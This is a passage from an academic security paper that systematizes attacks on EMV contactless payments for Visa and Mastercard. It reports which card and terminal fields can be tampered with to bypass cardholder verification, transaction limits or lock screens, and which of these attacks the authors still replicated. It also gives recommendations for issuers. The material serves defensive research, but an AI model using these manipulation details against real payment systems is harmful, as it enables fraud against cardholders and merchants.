attack is successfully replicable. In the second version
of the attack, Radu et al. [73] report a potential (not
demonstrated) lock-screen bypass attack for SamsungPay-
Visa during cashback transactions. They propose initiating
a transaction with a value in the “AmountOther” field
(used for cashback) while keeping the “AmountAuth”
value at zero to satisfy Samsung Pay’s zero-value require-
ment, suggesting that the zero-value check applies only to
the “AmountAuth”. Our experiments show that modifying
the “AmountOther” field to bypass lock-screen remains a
theoretical attack and is not replicable. The discrepancy
between the AmountAuthorized and AmountOther is the
key factor: the former includes both the purchase and
cashback amounts, while the latter contains only the cash-
back amount. As a result, the AmountAuthorized is always
equal to or greater than the AmountOther. In cases where
Samsung Pay enforces zero-value transactions (e.g., for
transit operators), the AmountAuthorized (which includes
cashback) is scrutinized, leading to transaction failure. For
SamsungPay-Mastercard, the first version of the attack de-
scribed by Yunusov [90] involves a Card Brand Mixup [8],

where the card’s AID is changed from Mastercard to Visa,
and a Cryptogram Confusion attack, in which the CID
type is modified from a declined transaction type (AAC)
to an authorized one (ARQC). Since the attack described
by Basin et al. [8] has been patched, the SamsungPay-
Mastercard V.1 attack is no longer replicable. In the sec-
ond version [92], researchers proposed a variant involving
the initiation of a 1.00 GBP payment with a compromised
PoS, followed by a MITM attack to alter the amount field
in the Generate AC command from 1.00 GBP to 0.00
GBP. This attack also involved modifying the MCC to a
transit operator code (4111), as Mastercard transactions
of this type are only valid within the transport scheme
range. A similar attack was also applied to ApplePay-
Mastercard [90], [92]. Following Mastercard’s implemen-
tation of fixes to the MCC checks, both the SamsungPay-
Mastercard V.2 and ApplePay-Mastercard attacks, which
rely on MCC modification, are no longer replicable.

3.3.7. Cryptogram Exploitation. This category of at-
tacks targets cryptograms, either by changing their type
or sending an unauthenticated one, targeting transaction-
centric data. In the former attack, which is called the
Cryptogram Confusion attack, Yunusov et al. [93] modi-
fied the CID type from a declined transaction type (AAC)
to an authorized one (ARQC), since it is reported that
the algorithm for generating the AAC cryptogram is ex-
actly the same as for the ARQC cryptogram. Our ex-
periments show that this attack remains replicable. Two
other attacks [9] [12] report the possibility of sending an
unauthenticated cryptogram. The first attack [12] involves
corrupting the AC on Visa cards when used with an
offline reader in fDDA transactions. It is claimed that since
the AC is not included in the SDAD in Visa, corrupted
transactions are accepted by the offline reader. The second
attack [9] discusses that the card does not authenticate the
AC to the terminal in an offline contactless transaction
with a Visa or an old Mastercard card, allowing attackers
to trick the terminal into accepting an unauthentic offline
transaction. None of these two attacks have been demon-



Figure 7. Summary of Attacks.

strated. The replicability of these two attacks remains
unverifiable at the moment.

3.4. Timeline of Attacks

Fig. 5 presents a detailed chronology of contactless
payment attacks, as outlined in Table 1, alongside the
key milestones in the evolution of contactless payment
systems depicted in Fig. 6. Contactless payments were first
introduced in the UK in 2007, with an initial transaction
limit of 10 GBP. Over time, this limit gradually increased,
reaching 20 GBP in 2012, 30 GBP in 2015, and 45 GBP
in 2020. In response to the COVID-19 pandemic, the
contactless limit was raised to 100 GBP in 2021. The
first EMV specifications for Visa and Mastercard were
released in 2011, marking a shift toward more secure pay-
ment systems. However, the timeline of attacks shows a
relationship between the introduction of new technologies
and the rise in associated security threats. For instance,
the introduction of digital wallets in 2014, despite enhanc-
ing convenience, opened new avenues for attackers. The
growing use of mobile phones for payments has also led
to a rise in attacks targeting mobile platforms. In 2015,
Mastercard introduced RRP to mitigate relay attacks. De-
spite these security enhancements, Radu et al. [73] demon-
strated that it can be bypassed. In 2016, Visa removed the
mag-stripe mode from its cards. Nonetheless, as it can
be seen in Fig. 5, mag-stripe-based attacks still occur,
primarily due to backward compatibility. In 2019, the
introduction of Express Transit on digital wallets (e.g.
ApplePay Express Transit Mode [6]) for the convenience
of passengers brought new security challenges. Attackers
have exploited this technology to execute some of the
lock-screen bypass attacks.

3.5. Summary of Attacks

Fig. 7 illustrates various aspects of attacks on contact-
less payments, as described below.

Types of Attacks. Fig. 7.a shows the distribution of
attacks across the literature based on cited papers. As can
be seen, relay attacks and lock-screen bypasses are the
most frequently reported forms of attack in the literature.
Relay attacks have been consistently documented since
2011, whereas lock-screen bypass attacks are more re-
cent, emerging in 2021 with the increasing use of mobile
phones and digital wallets. Limit bypass attacks are also
common and have been observed since the inception of
contactless payment limits.

Targeted Protocol. Fig. 7.b indicates that the majority
of attacks have targeted the Mastercard and Visa protocols,
with Visa experiencing a slightly higher frequency of
attacks. Attacks on the ISO 14443 protocol are relatively
rare. This is because ISO 14443 primarily governs the
initial phase of contactless payment transactions, leaving
fewer opportunities for attackers to exploit.

Targeted Transaction Level. Fig. 7.c illustrates the
distribution of attacks across different transaction levels.
A small percentage of these attacks focus on the applica-
tion selection process. Approximately 20% of the attacks
manipulate cardholder verification processes. The majority
of attacks, around 70%, target other aspects of transaction
data, manipulating elements like cryptographic data and
transaction amounts. When mapping these attacks to the
affected protocols (see Fig. 7.d), Visa and Mastercard are
almost equally targeted at the transaction-centric level.
However, attacks that specifically exploit cardholder ver-
ification affect Visa more frequently than Mastercard.
A more detailed comparative analysis between Visa and



TABLE 2. EVALUATION OF VISA’S VULNERABILITY BASED ON OUR EXPERIMENTAL RESULT.

Field Paper Vulnerability Demonstrability Replicability Feasibility

Magic String [73] [90] Can be sent to mimic TFL transport

TTQ [73] [90] Can be modified (CVM and ODA for Online
Authorization)

Amount
Authorized

[93] [90] Can be modified via compromised PoS

Amount Other [73] Can be modified, Not checked in SamsungPay
zero-value request

Currency [17] Not checked in high-value transactions –

UN [43] Can send fixed UN with compromised terminal

AC [12] [9] Can send unauthenticated AC –

AIP [36] Can be modified to downgrade to mag-stripe

CID [93] Can be modified (from declined (AAC) to suc-
cessful (ARQC))

ATC [43] [93] [90] Not checked by issuer

CTQ [9] [43] [73] Can be modified (CDCVM)

Track 2 [41] [36] [50] [19] [70] Is sent in clear and can be requested via any reader

Mastercard is discussed in Section 4.2.
Active vs. Passive. Fig. 7.e reflects that active attacks

are more prevalent than passive ones. Active attacks are
more common and are mostly used in limit bypass and
all lock-screen bypass attacks. On the other hand, passive
attacks are slightly less frequent but still pose significant
risks to the security of contactless payment systems.

Theoretical vs. Practical. Fig. 7.f shows that most
attacks reported in the literature are practical and have
been successfully demonstrated. However, a small portion
of the attacks are considered theoretic attacks and are not
demonstrated in practice.

Targeted Device. Fig. 7.g and 7.h show that most
attacks target cards due to their passive nature, which
allows them to respond to any nearby NFC reader, making
them more vulnerable. Additionally, transactions below
certain limits often bypass SCA, increasing risk. In con-
trast, mobile phones generally offer better security through
cardholder verification, such as fingerprint or face recog-
nition. However, as Fig. 7.g shows, the rise in mobile
payments since 2014 has led to increased attacks on these
devices, while attacks on cards have fluctuated over time.

Our Replication Results. Fig. 7.i provides an
overview of our replication results. We were able to suc-
cessfully replicate a significant majority of the attacks re-
ported in the literature, confirming that the vulnerabilities
still exist. A notable portion of the attacks was replicated
but were unsuccessful due to various reasons. Details
of the underlying reasons for infeasible-to-replicate and
unverifiable/out-of-focus attacks are further discussed in
Section 5.2.

4. Evaluation of Protocol Vulnerabilities

4.1. Underlying Protocols Vulnerabilities

While we analyzed attacks on Visa and Mastercard
payment networks (including those involving ISO 14443)
in the previous section, here, we focus on vulnerabilities
in Visa and Mastercard protocols specifically, based on
reported attacks and our experimental setup.

4.1.1. Visa Vulnerabilities. Table 2 shows the status
of these vulnerabilities based on demonstrations in the

CardCardReaderReader

 (1) SELECT PPSE 
(2) FCI (AID, API*)

(3) SELECT AID 
(4) FCI (PDOL, IDSD*, ...) 

(5) GPO  (PDOL_Data(TTQ, AmountAuth, AmountOther, Country, 
TVR, Currency, UN, Date, ...)  

(6) AC, AIP, CID, ATC, CTQ,  IAD, 
Track2, AFL*, SDAD* ...

(11) SELECT AID 
(12) FCI (PDOL)

(13) External Authenticate (Issuer Authentication Data) 
(14) Issuer Script Template

(15) Issuer-to-Card Script Command
(16) Successfull/Failed 

(7) Read Records 
(8) RSA Certs, Card Auth. Related Data (fDDA Version, Card UN, CTQ)

(9) EGPO (PDOL_Data, IDS Record Update Template)  
(10) AC, AIP, CID, ATC, IAD, CTQ,  IAD, Track2 , ...

* Optional 

 (0) Magic String

Figure 8. Visa Protocol. Red denotes data affected by attacks.

literature and our experimental results. Before initiating
a Visa transaction, the so-called “magic string” can be
sent to the card, making the card believe it is com-
municating with a transit operator terminal. Cardholder
verification can be bypassed by altering the TTQ value,
specifically by manipulating the CVM and ODA fields.
Researchers have demonstrated this modification, and our
experimental results confirm that this vulnerability still
exists. Additionally, the AmountAuthorized is modifiable,
as demonstrated by researchers, and our experiments con-
firm that this vulnerability persists. However, the mod-
ification of the AmountOther is theoretical—researchers
have not demonstrated it, and we confirm that it remains
a theoretical vulnerability. The currency is reported to be
modifiable, as checks are often performed only in the
native currency. This vulnerability has not been demon-
strated, and our tests were unable to replicate it due to the
limitations of the offline-only terminals and cards. A fixed
UN can also be sent through a compromised terminal. Our
demonstration confirms confirm that this vulnerability still
exists.

Earlier specifications allowed the AIP to be altered,



TABLE 3. EVALUATION OF MASTERCARD’S VULNERABILITY BASED ON OUR EXPERIMENTAL RESULT.

Field Paper Vulnerability Demonstrability Replicability Feasibility

AID [8] [10] [90] Can be modified

AIP [74] [93] [36] Can be modified to downgrade to mag-stripe

Track 1 and 2 [41] Is sent in clear and can be requested via any reader

CCC [93] Can be modified to bypass “unlock” req.

CVC3 [93] [74] [36] Can be pre-calculated (due to low entropy of nUN)

ATC [93] [74] [36] [43] Not being checked by the issuer

RRP [73] Can be bypassed in specific positions –

CVMList [10] Can be modified

IAC [10] Can be cleared (IAC-Denial)

Track2 [41] [50] [19] [70] Is sent in clear and can be requested via any reader

CA PK Index [10] Can be set invalid to bypass PKI checks

Amount
Authorized

[93] Can be modified via compromised terminal

UN [43] Can send fixed UN via compromised terminal

MCC [93] [93] Can be modified via compromised terminal

CID [90] Can be changed (from failed (AAC) to online
(ARQC))

AC [9] Send unauthenticated AC –

(14) ExpDate, APP PAN, PANSeqNo, AUC, CVM List, IAC, ICC, Track2*, CDOL1, DSDOL*, 
CDA_Data*(CA PK Index, Issuer PK Cert&Exp, ICC PK Cert&Exp, SDA TagList)

CardCardReaderReader
 (1) SELECT PPSE 

(2) FCI (AID, API*)
(3) Select AID 

(5) Get Processing Options (PDOL_Data)
(4) FCI (PDOL,  ACI*, ...)

(6) AIP, AFL, DS-Related Data*

(7) Read Records
(8) Track1 Data*, Track2 Data, Instruction Dictionary Data

(9) Compute Cryptographic Checksum (UDOL(nUN))
(10) CVC3, ATC, PCII*

(11) Exchange Relay Resistance Data , Terminal RR Entropy
(12) Timing Info (Min, Max, Expected), Device RR Entropy

(13) Read Records

(15) Generate AC (Ref Control Par, CDOL1_Data(AmounAuth, AmountOther, 
Country Code, TVR, Date, Type, UN, Currency, CVM Result, TRM, MCC,  ...) || DSDOL*)

(16) CID, ATC, AC, SDAD*, IAD*, PCII*

* Optional

Figure 9. Mastercard Protocol. Red denotes data affected by attacks.

enabling transactions to be downgraded from the EMV
mode to the mag-stripe mode. This vulnerability has been
patched, as Visa no longer supports the dCVV mode,
making this exploitation infeasible. Other vulnerabilities
include modifying the CID from a declined (AAC) to a
successful (ARQC) transaction, issuers’ failure to thor-
oughly check ATC values, modifying the CTQ to indicate
that CDCVM has occurred, and capturing the Track 2 data
which is transmitted unencrypted and can be requested
and read by any unauthenticated terminal. These vulnera-
bilities have been demonstrated, and our replication results
confirm that they remain a security risk. A comprehensive
overview of the data field that has impacted the Visa
protocol can be found in red in Fig. 8.

4.1.2. Mastercard Vulnerabilities. Table 3 shows the
status of these vulnerabilities based on demonstrations in
the literature and our experimental results. The AID of
the card can be modified, allowing attackers to target a
less secure AID with inherent vulnerabilities or bypass
the current secure AID altogether. We demonstrated this

vulnerability although it has since been patched in some
cases. The AIP can be modified to downgrade an EMV
transaction to the less secure mag-stripe mode. Since Mas-
tercard still supports both EMV and mag-stripe modes,
this presents a considerable risk. We demonstrated this
vulnerability and our replication results confirm that it
still exists. However, Mastercard has announced plans to
phase out mag-stripe transactions in the near future [60].
Track 1 and Track 2 data are sent without authentication
nor encryption, enabling any unauthenticated terminal to
request and read this data. Both vulnerabilities have been
demonstrated, and our experiments confirm that they per-
sist.

In the mag-stripe mode, several vulnerabilities arise
due to the low entropy of the unpredictable number,
usually consisting of only 3 digits. As a result, CVC
values can be pre-calculated. Additionally, the Compute
Cryptographic Checksum can be modified to bypass the
unlock requirement for high-value transactions. Issuers
often do not check the ATC, leaving transactions vulner-
able to exploitation. These vulnerabilities have all been
demonstrated, and our replication results confirmed their
continued existence. The RRP was bypassed in the EMV
mode by varying the payment card response times based
on the distance between the card and the reader. The
replicability of this vulnerability stays out of the focus of
our replication as it does not affect the transaction data.

Several fields in the transaction, including IAC-Denial,
the CVMList, and the Certification Authority Public Key
Index, can be modified, leaving transactions vulnerable.
Unauthenticated terminals can request Track 2 data, much
like in the mag-stripe mode. All of these vulnerabili-
ties have been demonstrated, and our replication results
confirm their feasibility. Using a compromised terminal,
attackers can modify the Authorized Amount. A fixed and
predictable UN can also be sent, as there are no restric-
tions on sending similar UNs to the card. Additionally,
the MCC can be modified to mimic a transit operator
terminal. These vulnerabilities have been demonstrated,
and our experiments confirmed that most still exist, except
for the MCC vulnerability that has been patched.

As seen in the mag-stripe mode, some issuers fail to
verify ATC values, allowing fraudulent transactions to go



unnoticed. The CID can also be modified to change a
failed transaction into a successful one. Our demonstration
confirms the feasibility of this modification. Lastly, there
are suggestions that invalid ACs could be sent, particularly
in older Mastercard cards. However, this vulnerability has
not been fully demonstrated due to the unavailability of
the offline terminals and cards. Fig. 9 shows the data field
of the Mastercard protocol affected by the attacks in red.

4.2. Visa vs Mastercard: Comparative Analysis

4.2.1. Vulnerabilities at Different Stages. As shown in
Fig.7.b and Fig.7.d, the sources of attacks vary between
Visa and Mastercard across different transaction levels.
For application-centric attacks, both Visa and Mastercard
exhibit vulnerabilities, though they differ slightly. Visa’s
weakness lies within the ISO 14443 protocol, where the
UID can be manipulated, while Mastercard’s vulnerability
stems from the EMV Entry Point protocol, where the
AID can be modified. For cardholder-centric attacks,
Visa appears to be more vulnerable. Many attacks focus
on modifying the TTQ and CTQ values, which contain
cardholder verification data. In contrast, Mastercard has
only one demonstrated attack that involves modifying or
clearing the CVMList. The visibility of certain fields in a
transaction and their presence in the AC, ICC certificates,
and SDAD can influence the feasibility of modifying
specific fields. For instance, the CTQ field plays a key
role in Visa attacks, as it can be modified and is not
directly authenticated in the AC. On the other hand, in
Mastercard, the CVMList, which would be targeted in-
stead of the CTQ, is present in the ICC certificate, making
any changes detectable by even a PoS system, unless the
terminal is made to bypass these checks, as shown in
Basin et al.’s work [10]. For transaction-centric attacks,
although both Visa and Mastercard are vulnerable to the
modification, interception, or exploitation of transaction
data (like Track1/2, UN, ATC, AmountAuth, CID, and
AC), Mastercard experiences a higher frequency. In Visa,
the Currency, AmountOther, and SDAD values are at risk
whereas in Mastercard, the MCC, IAC, AIP, CA PK Index,
and all the mag-stripe-related data, including nUN, CVC,
and CCC could be exploited for malicious purposes. This
is potentially due to the dual modes of transactions avail-
able on Mastercard (EMV and mag-stripe mode) whereas
only one transaction mode (EMV mode) is available on
Visa (based on the latest specification), as well as the
higher number of messages that are transmitted between
the card and the reader.

4.2.2. Patching Reasons and Speed. Based on our results
on the replication of the attacks shown in Table 1, the
reasons for the inability to replicate certain attacks on Visa
and Mastercard differ, and the timeline of these attacks
is crucial. For Visa, attacks that could not be replicated
include the offline PIN verification attack in 2013 [18], the
card replica attack via manipulating the AIP and down-
grading to dCVV in 2015 [36], and the lock screen bypass
on SamsungPay-Visa (Version 2) in 2022 [73] by modi-
fying AmountOther. The first two attacks are infeasible
due to the discontinuation of offline PIN verification and
dCVV technologies, while the third remains a theoretical
attack with no practical demonstration. In contrast, the

infeasible attacks on Mastercard include the lock screen
bypass on ApplePay-Mastercard in 2021 [90], [93], the
lock screen bypass on SamsungPay-Mastercard (Version
2) in 2021 [93], the lock screen bypass on SamsungPay-
Mastercard (Version 1) [90], and the card brand mix-up for
limit bypass in 2021 [8]. The first two attacks are infeasi-
ble because of Mastercard patches on MCC value and the
third and fourth attacks are infeasible due to Mastercard’s
patches on AID value change. A key difference between
Visa and Mastercard lies in their response times. Master-
card has demonstrated faster responsiveness to reported
vulnerabilities, quickly patching them and making attack
replication impossible. In contrast, Visa appears slower to
implement fixes, leaving vulnerabilities unaddressed for a
longer period.

4.3. EMV Protocol Flaws

Considering these vulnerabilities, we categorize the
ways contactless payment systems have failed as below.

Untokenized Data: Tokenization is a crucial security
feature in contactless payment systems, used to protect
sensitive information like account numbers and expiration
dates, often found in Track 1 and Track 2 data. This
applies mainly to credit and debit card use, while NFC-
enabled mobile phones typically involve authorized enti-
ties like digital wallet providers. Despite its importance, a
vulnerability exists in the transmission of this information,
particularly for credit and debit cards. Both Visa and
Mastercard often transmit such data in plain text, making
it susceptible to various attacks.

Unauthenticated Data: one of the issuer’s key roles is
to authenticate card data and verify its integrity. However,
Visa and Mastercard protocols lack online authentication
for some card-generated data, leaving it vulnerable to
manipulation. Key data elements include ATC, CTQ, and
CID for Visa, and ATC, CA PK Index, IAC, AIP, and CID
for Mastercard. While some attacks exploit the absence of
data authentication, others take advantage of the fact that
certain data such as ATC are not checked at the issuer’s
back-end, allowing them to be exploited.

Unauthenticated/Compromised Terminals: compro-
mised terminals represent a significant vulnerability in
compromised contactless payment environments. While
many attacks involve message tampering between the
payment device and the terminal, some (e.g., ApplePay-
Mastercard lock-screen bypass) require a compromised
terminal. Current systems lack strong terminal authenti-
cation mechanisms, making it difficult to detect compro-
mised terminals.

Ineffective Relay Protection: The relay attack re-
mains one of the simplest yet persistent vulnerabilities
in contactless payment systems. Despite EMV’s efforts
to mitigate relay attacks through transaction time limits
(e.g., 500 milliseconds), Visa’s unique UID requirement,
and Mastercard’s distance-bounding protocol (RRP), re-
searchers continue to find ways to bypass these protec-
tions. This demonstrates the inadequacy of the current
relay protection measures, highlighting the need for more
robust defences.

Offline Mode: While offline transaction modes offer
convenience and speed, the literature has shown that they



can be exploited, allowing attackers to send unauthenti-
cated cryptograms. Although these transactions may ulti-
mately be rejected during subsequent online verification,
the delay provides attackers with sufficient time to steal
goods, particularly when targeting merchants.

Mag-stripe Mode: This transaction mode is a key
point of vulnerability in several attacks, especially due
to the low entropy of the unpredictable numbers. While
Visa has discontinued support for the mag-stripe mode
[30], Mastercard still allows it, with plans to phase it out
starting in 2024 and ending requirements for chip cards
with magnetic stripes by 2027 [60]. However, backward
compatibility and long expiration dates of existing cards
mean that mag-stripe attacks may persist despite these
fixes.

5. Discussion

5.1. Continuous Replication Root Causes

The vulnerabilities discussed in the previous section
can be the result of various root causes. First, NFC-based
contactless transactions occur via short-range wireless sig-
nals, making them inheritibly vulnerable to over-the-air
interception and consequently to relay attacks. Although
relay protection mechanisms exist, attackers can intercept
and forward signals in real-time, exploiting the inherent
over-the-air nature of the technology. Second, industry
standards and card issuers might prioritise speed and
user convenience over implementing robust authentication
measures. Some issuers use measures (e.g. cumulative
spending caps), but these are inconsistently implemented
across the ecosystem, leading to exploitable security gaps.
Third, responsibilities for remedying vulnerabilities are
often unclear. For instance, in the ApplePay-Visa attack,
each party viewed the other as primarily responsible. Fi-
nally, EMV specifications span hundreds of pages and are
interpreted differently by terminal manufacturers, payment
networks, issuers, digital wallet providers, and merchants.
Coordinating and deploying fixes is time-consuming, ex-
pensive, and requires agreement among these multiple
stakeholders.

5.2. Non-replicable Attacks

A few of the attacks could not be replicated in our
setup. Some attacks were infeasible to replicate due to out-
dated software. For example, the attack by Fillmore [36]
relied on dCVVm which is no longer in use. The offline
PIN verification feature, exploited in an attack by Emms et
al. [18], is no longer available for contactless payments.
Other attacks failed due to security patches; researchers
reported vulnerabilities that have since been fixed, mak-
ing replication impossible. These include the card brand
mix-up attack by Basin et al. [8] and three lock-screen
bypass attacks by Yunusov et al. [90], [93]. SamsungPay-
Mastercard Version 1 (which relied on the brand mix-
up attack by Basin et al. [8]), SamsungPay-Mastercard
Version 2, and ApplePay-Mastercard (as Mastercard no
longer allows MCC modification). Some attacks, such
as the SamsungPay-Visa Version 2 by Radu et al. [73],
remained theoretical, as additional backend and issuer

security checks prevented their execution. Some attacks
were unverifiable due to a lack of necessary tools, while
others fell outside our scope. In the former case, certain
attacks could not be verified at the time of testing due to
limited access to required hardware. For example, the RRP
bypass attack on Mastercard by Radu et al. [73] could not
be tested due to the unavailability of RRP-enabled cards.
Similarly, attacks by Emms et al. [17], Basin et al. [9],
and Chothia et al. [12] could not be replicated due to
restricted access to offline terminals. Regarding out-of-
scope attacks, our study focused on Visa and Mastercard
protocol flows. Consequently, attacks targeting the ISO
14443 protocol, such as those by Mehrnezhad et al. [66]
and the Visa relay bypass attack by Radu et al. [73], were
beyond our scope.

5.3. Real-world Impact

Vulnerabilities in contactless payment systems carry
significant real-world implications, notably in terms of
financial losses, user trust, and technology adoption. In
terms of financial losses, accurately quantifying the mon-
etary impact of attacks on contactless payments is inher-
ently challenging due to limited empirical data. Never-
theless, as discussed in Section 1, contactless transactions
now dominate face-to-face payments, amplifying the con-
sequences of any security weaknesses. According to the
UK Finance 2024 report [82], fraud losses associated with
contactless payments have risen substantially. Although
these losses saw a temporary dip during the COVID-
19 pandemic in 2020 and 2021, they surged by more
than 80% in 2022 following an increase in contactless
transaction limits. This upward trend continued into 2023,
where fraud reached £41.5 million—representing a 19%
rise from 2022 and the highest level recorded since data
collection began in 2014. In addition to financial reper-
cussions, security vulnerabilities impact user trust and the
adoption of contactless payment systems as well. Stud-
ies indicate that heightened awareness of security risks
leads to a decline in consumer confidence, potentially
hindering widespread acceptance. Research by Alrawad
et al. [3] highlights the pivotal role of perceived risk and
trust in shaping consumers’ willingness to use NFC-based
mobile payments, emphasizing that while the perceived
high risk can deter adoption, trust serves as a crucial
mitigating factor. Similarly, studies by Almaiah et al. [2]
and Liebana-Cabanillas et al. [59] suggest that increased
trust and confidence in security measures can counteract
risk perceptions and enhance adoption rates.

5.4. Our Recommendations

Addressing security vulnerabilities in EMV contact-
less payments requires extensive research and industry-
wide collaboration and can be complicated since the pay-
ment ecosystem involves multiple stakeholders such as
terminal manufacturers, payment networks, issuers, digital
wallet providers, and merchants. A significant issue lies
in issuers not thoroughly authenticating all transaction
data. For example, discrepancies between the CVM result
and the expected CVM, such as detecting CDCVM in
card-present transactions (which should not occur), should
prompt additional verification. Similarly, inconsistencies



between the CVM list and the results should be flagged
and reviewed. Another critical check is ensuring consis-
tency between authorization requests from the terminal
and cryptographically signed data from the card. Moni-
toring ATC values is also essential. While the ATC in-
crements with each transaction, issuers may not always
receive them in order due to offline or incomplete trans-
actions. Issuers should track the highest ATC and define
an acceptable range, with out-of-range values potentially
signalling fraud. However, out-of-sequence ATCs should
not automatically be declined. If the same ATC is received
twice with different cryptograms, this suggests a key
compromise, while identical cryptograms may indicate
replay fraud. To detect duplicate ATCs, issuers should
maintain a record of previous ATCs within a practical
window. Another example is that the Track 2 equivalent
contains different discretionary data compared to the mag-
stripe. Banks should be able to detect this difference, but
some do not, allowing the cloned data to be accepted in
certain cases.

Despite efforts by Visa and Mastercard, relay attacks
remain a threat, affecting not only cards but also mobile
phones and potentially wearables. Mobile devices are bet-
ter equipped to counter these attacks, as they can leverage
sensors such as accelerometer [14], infrared sensor [48],
or Ultra-Wide Band (UWB) [13] technology to verify
proximity and detect unauthorized movement. However,
protecting cards from relay attacks remains challenging
due to their lack of sensors. Integrating basic sensors into
cards, as explored by Nezhad & Hao [64], may offer a
potential solution, though this would require compromises
in card design and cost. Other solutions such as adopting
tokenization for all transaction data, deploying terminal
authentication, enforcing Combined Dynamic Data Au-
thentication (CDA), and phasing out mag-stripe mode
would also enhance the security of contactless payments.

5.5. Open Challenges

Despite various countermeasures proposed to address
security vulnerabilities in EMV contactless payment sys-
tems, several open challenges remain in implementing
these solutions at scale. Strengthening security necessi-
tates modifications at multiple levels, including payment
terminals, card issuance policies, merchant infrastructures,
and backend processing systems, each of which presents
its own technical and logistical hurdles. Financial insti-
tutions and merchants must navigate the complex trade-
off between enhancing security and maintaining cost-
effectiveness, transaction speed, and user convenience.
Moreover, backward compatibility remains a significant
obstacle, as many payment terminals still rely on older
EMV specifications, making it difficult to deploy security
fixes broadly.

The adoption of the Express Transit mode has en-
hanced user convenience but also introduced new attack
vectors. A similar pattern may emerge with new technolo-
gies such as Electric Vehicle Charging (EVC) payments
[63] and Pay-at-Pump systems [85], which differ slightly
in their authorization processes and may be exploited
for cashback manipulation. Contactless Cash Withdrawal
[7], allowing ATM cash withdrawals via mobile phones,
and tap-to-phone payment terminals, which turn merchant

phones into accepting devices without external terminals
[61], [87], provides enhanced convenience for both users
and merchants. However, these technologies are suscep-
tible to security vulnerabilities and need to be studied
further to assess their security. While cards and mobile
phones have been extensively studied, wearable payment
devices like smartwatches (e.g., Apple Watch [4]) have
received limited attention. Similarly, other payment net-
works such as American Express [35], JCB [55], Dis-
cover [15], and UnionPay [71], need further investigation
to complete the vulnerability assessment of the EMV
protocol suite. Lastly, the new C-8 Contactless Kernel
Specification [31] aims to standardize global contactless
payments by simplifying the multi-kernel system. Though
not yet in use, analyzing its security is crucial as it
represents the future of payment technology and may
address current system vulnerabilities.

5.6. Limitations

While this work provides a comprehensive analysis of
security vulnerabilities in EMV contactless payment sys-
tems, limitations remain. While we successfully replicated
numerous reported attacks in a controlled environment,
real-world constraints such as security measures deployed
by specific banks, regional variations in EMV implemen-
tations, specifically the PSD2/3 implementation in EU/UK
(e.g. enforcing checks on cumulative limits, or prohibition
of mag-stripe transactions in certain areas), and evolving
countermeasures may impact their practical feasibility. As
a result, we acknowledge that the replication results can
be different within different setups (e,g. using similar
setups in different counties, or using different setups im-
plementations). Furthermore, some experiments were also
constrained by hardware limitations, including the lack of
access to offline terminals, which restricted our ability to
assess certain attack scenarios in real-world conditions.

6. Conclusion

In this paper, we systematized the knowledge on EMV
contactless payment systems in the open-loop setting and
identified seven distinct attack vectors: eavesdropping,
relay, pre-play, counterfeit card replica, contactless limit
bypass, lock screen bypass, and cryptogram exploitation.
These were analyzed within three layers: application se-
lection, cardholder authentication, and transaction autho-
rization, focusing on protocols such as ISO 14443, EMV
Kernel 3 (Visa), and EMV Kernel 2 (Mastercard). By ex-
amining attacks from the past two decades, we pinpointed
vulnerabilities in these protocols that have evolved with
the rise of contactless payments. Through experimental
replication, we compared the vulnerabilities of Visa and
Mastercard across multiple levels. Our findings indicate
that Visa is more susceptible to cardholder verification
attacks, while Mastercard exhibits faster response times
in patching reported vulnerabilities. We further assess the
current state of EMV protocols, highlighting persistent
vulnerabilities such as untokenized data, unauthenticated
data exchanges, compromised or unauthenticated termi-
nals, ineffective relay protections, offline mode weak-
nesses, and the use of mag-stripe mode. Finally, we outline
key recommendations and discuss open challenges.
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7. Appendix

7.1. Data Availability

The data logs generated during the replication of the
attacks discussed in this study are not publicly available
for all of the attacks due to ethical considerations (Samples
can be found in Section 7.6). However, they can be made
available to interested researchers upon request. To request
access, please contact the corresponding author, providing
details of your intended use. Data sharing will be subject
to review and compliance with institutional and ethical
guidelines.

7.2. Glossary

A list of acronyms can be found in Table 4.

7.3. ISO 14443 Protocol

The ISO 14443 standard series outlines parameters
for identifying cards or objects in the field of contactless
payment. This set of standards aims to facilitate interac-
tion between proximity cards (such as contactless cards)

TABLE 4. LIST OF ACRONYMS

Acronym Definition
3DS 3-D Secure

AAC Application Authentication Cryptogram

AC Application Cryptogram

ACI Application Capabilities Information

AID Application Identifier

AIP Application Interchange Profile

API Application Priority Indicator

ARQC Application Request Cryptogram

ATC Application Transaction Counter

ATS Answer to Select

ATQA Answer to Request

CA PK Index Certification Authority Public Key Index

CCC Compute Cryptographic Checksum

CDA Combined Dynamic Data Authentication

CDCVM Consumer Device CVM

CID Cryptogram Information Data

CNP Card Not Present

CP Card Present

CTQ Card Transaction Qualifiers

CVC3 Card Verification Codes

CVM Cardholder Verification Methods

CVV Card Verification Value

dCVV Dynamic CVV

DDA Dynamic Data Authentication

DSDOL Data Set Definition Object List

EEA European Economic Area

EGPO EXTENDED GPO

EMV Europay, Mastercard, Visa

EVC Electric Vehicle Charging

FCI File Control Information

fDDA Fast Dynamic Data Authentication

GPO Get Processing Options

IAC Issuer Action Code

ICC Integrated Circuit Card

IDS Integrated Data Storage

IDSD IDS Dictionary

MCC Merchant Category Code

MITM Man-in-the-Middle

mPoS Mobile Point of Sale

MST Magnetic Secure Transmission

NFC Near Field Communication

nUN Numeric Unpredictable Number

ODA Offline Data Authentication

PAN Primary Account Number

PCII PoS Cardholder Interaction Information

PDOL Processing Data Object List

PIN Personal Identification Number

PoS Point of Sale

PPSE Proximity Payment System Environment

PSD2 Payment Services Directive 2

RATS Request for Answer To Select

REQA Request Command Type A

RRP Relay Resistance Protocol

SAK Select Acknowledge

SCA Strong Customer Authentication

SDA Static Data Authentication

SDAD Signed Dynamic Application Data

SRC Secure Remote Commerce

TAC Terminal Action Code

TC Transaction Certificate

TFL Transport for London

T2P Tap-to-Phone

TTQ Terminal Transaction Qualifiers

TSP Token Service Providers

TVR Terminal Verification Results

UID Unique Identifier

UN Unpredictable Number

WUPA Wake-Up Command

and proximity coupling devices (such as card readers)
by addressing physical characteristics, power and signal
interface, initialization, anti-collision, and transmission
protocol. Fig. 10 shows the ISO 14443 protocol when
there is a single card in the field [73]. During the initial
communication setup, the reader regularly polls for prox-
imity cards by sending Wake-UP (WUPA) commands or
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Figure 11. EMV Kernel 3 (Visa) Protocol

REQA messages. A card entering the reader’s magnetic
field absorbs energy from the reader, responding to WUPA
or REQA messages with an Answer to Request (ATQA)
message, which provides information about the card to
the reader. This information, including the Unique Iden-
tifier (UID), aids in the next anti-collision phase. During
this phase, the reader employs multiple anti-collision and
select messages to select a single card. The selected card
